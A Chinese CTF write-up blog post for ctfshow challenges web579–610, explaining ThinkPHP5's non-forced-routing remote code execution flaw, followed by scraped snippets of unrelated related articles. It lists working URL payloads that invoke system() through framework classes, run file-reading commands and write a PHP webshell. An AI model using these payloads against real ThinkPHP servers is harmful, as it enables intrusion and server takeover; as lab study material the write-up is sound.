【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞

news/2024/5/19 22:47:59 标签: thinkphp5, ctf, web, ctfshow, 代码审计, 安全, 非强制路由rce

目录

非强制路由RCE漏洞

web579%C2%A0-toc" style="margin-left:0px;">web579 

web604%C2%A0-toc" style="margin-left:0px;">web604 

web605%C2%A0-toc" style="margin-left:0px;">web605 

web606-toc" style="margin-left:0px;">web606

web607-610-toc" style="margin-left:0px;">web607-610


前面审了一些tp3的sql注入,终于到tp5了,要说tp5那最经典的还得是rce

下面介绍非强制路由RCE漏洞

非强制路由RCE漏洞原理

非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。

下面是该漏洞的利用条件:

 

要修复这个漏洞非常简单,启用强制路由即可

很简单的道理,举个例子

index模块下控制器定义一个Address类,类里定义一个search()方法,并定义响应的路由访问+传参。

 

可以/search/5/4访问并传参

 

 因为没有开启强制路由,所以下面这种方式可以达成一样的效果

?s=index/Address/search&id=5&uid=4 

 

而且当前框架中的任意类的任意方法都是可以被直接调用的,所以我们只要找到恶意类的恶意方法传参即可,试着拿一个payload弹一个计算器,成功。

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

ok我们已经实现了从0到1的突破了,剩下的就是各种payload的积累

从payload反推是很容易的,下面不再演示

贴出一篇文章

ThinkPHP5框架缺陷导致远程命令执行 

先介绍一个通杀解:

利用\think\view\driver\Think类的__call方法

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

web579%C2%A0" style="background-color:transparent;">web579 

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

web604%C2%A0" style="background-color:transparent;">web604 

?s=index/\think\Request/input&filter[]=system&data=tac /f*

web605%C2%A0" style="background-color:transparent;">web605 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?>

web606">web606

invokefunction大写即可

?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

或者:

?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*');

web607-610">web607-610

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

http://www.niftyadmin.cn/n/5294763.html

相关文章

深入Mybatis数据源

数据源是持久层框架中最核心的组件之一&#xff0c;在实际工作中比较常见的数据源有 C3P0、Apache Common DBCP、Proxool 等。作为一款成熟的持久化框架&#xff0c;MyBatis 不仅自己提供了一套数据源实现&#xff0c;而且还能够方便地集成第三方数据源。 javax.sql.DataSourc…

Vue 2 将于 12 月 31 日到达生命周期终点

随着2024年即将到来,我们借此机会提醒Vue社区,Vue 2将于2023年12月31日终止更新(EOL)。 Vue 2.0在7年多前的2016年发布。它是Vue成为主流框架旅程中的一个重要里程碑。许多现在的Vue开发者是在Vue 2时代开始使用Vue的,有许多伟大的项目是用它建立的。 然而我们无法持续同…

yolo系列相关损失函数

参考&#xff1a;https://blog.csdn.net/geek0105/article/details/129549229?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-129549229-blog-134171750.235v40pc_relevant_3m_sort_dl_base3&spm1001.2101.3001.4242.1&am…

C#语言发展历程(1-7)

一、类型发展 C#1中是没有泛型的 在C#2中在逐渐推出泛型。C#2还引入了可空类型。 示例&#xff1a;C#泛型&#xff08;详解&#xff09;-CSDN博客 1 C#3&#xff1a;引入了匿名类型、和隐式的局部变量&#xff08;var&#xff09; 匿名类型&#xff1a;我们主要是使用在LIN…

从大佬那偷学的 20个事半功倍的社交技巧

1&#xff0c;先给别人好处&#xff0c;再说出自己的需要&#xff0c;先予后取。 2&#xff0c;回礼回请&#xff0c;都略微高于对方请自己的价格&#xff0c;不会让他感觉你在占便宜&#xff0c;下次再想麻烦他帮你办事才有筹码。 3&#xff0c;投资人情&#xff0c;雪中送炭…

知识笔记(六十一)———Vue生命周期

组件生命周期--------组件从创建到销毁 创建 前 后 挂载 前 后 更新 前 后 销毁 前 后 vue给组件的某个阶段提供了特定的函数&#xff08;钩子函数&#xff09;来执行特定的逻辑&#xff0c;当到了某个节点会自动调用 创建前的函数 beforeCreate() { } 创建后的函数 cr…

41.坑王驾到第七期:uniapp开发微信小程序引用组件时报错!

一、错误再现 页面login引用了一个组件register&#xff0c;运行至小程序开发工具报错。 xxx.js 已被代码依赖分析忽略&#xff0c;无法被其他模块引用。 二、解决办法 在微信小程序的配置文件中找到setting节点&#xff0c;增加两个配置项。 “ignoreDevUnusedFiles”: fa…

“产品经理必懂的关键术语“

产品经理是现代企业中非常重要的一个角色&#xff0c;他们负责制定产品策略、规划产品开发流程、管理产品质量和用户反馈等等。然而&#xff0c;对于产品经理来说&#xff0c;了解并掌握相关的专业术语是非常重要的。本篇文章会介绍一些产品经理需要掌握的专业术语&#xff0c;…